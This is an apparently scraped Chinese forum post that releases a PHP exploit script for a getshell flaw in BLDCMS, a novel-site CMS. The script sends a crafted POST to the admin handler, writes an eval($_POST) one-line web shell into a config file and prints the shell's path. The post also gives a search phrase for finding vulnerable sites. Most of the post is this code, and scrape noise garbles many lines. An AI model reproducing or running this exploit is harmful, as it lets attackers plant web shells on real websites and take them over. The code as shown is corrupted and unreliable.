BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
; A' }9 M$ y. K. h2 i( {- A

8 z2 H) z0 J% |" ?  h% K- ~: a8 p话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
4 Z( P5 e4 ?- @# [4 y: I02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
" C/ z+ q8 v" w+ ^$ I3 O06.
! H; l! A. P1 P( V6 |% ]1 G07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
3 ~0 L: Y, j* g08.
. W0 M" y7 ^" c& S" R) a+ N8 n; [8 t09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
% V# g' ?* E! J7 y3 `6 \15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
1 u- J3 C  }% X9 q0 s8 G/ v* N/ d( O6 a18.$dir=$argv[2];
% x4 ]7 N, L9 @0 Z$ G19.$pass=$argv[3];
" S8 f. Z% T8 [& V% w! F4 R20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
; r2 v' E8 |0 T1 c- x* ~+ l21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
: T7 ^. U/ I, A$ h5 W24.{
, H7 ?; W% O4 t2 ^5 c+ f- H25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
0 o! U3 y3 T6 S0 z! U27.al;
% @' V; ]" Y0 B1 u" ]28.$length = strlen($fuckdata);
* k4 e- i5 |' a5 l29.function getshell($url,$pass)
! n1 c5 W7 N  ?- M* ~30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
$ e6 J1 S8 V; o32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
7 [9 Z- y4 H; y3 V; q- _33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
5 v5 ?4 l: S4 q! M" G36.$header .= "Content-Length: ".$length."\r\n";
; z/ z# x* ^' q4 z3 Q* W: W37.$header .= "Connection: Close\r\n";
6 N# G& z6 l9 u% a2 ]& r( J7 m/ g+ @38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
! ]* \( w5 L4 J& B$ v41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
$ J9 |- o1 m# }% K! k( ]46.{exit ("利用失败");}
& V# o. u- `: D47.else
3 d; E% K3 q, M: q48.{
49.$receive = '';
$ y4 @- T  ]  S50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
5 z( |* f0 S5 V56.GPC是否=off)";
57.}}
3 B. w% s1 S. v4 Y4 v1 v58.}
: I' l8 u7 J" F+ @# J% W59.}
60.getshell($url,$pass);
61.?-->



9 Y. }, C+ w" k- Iby 数据流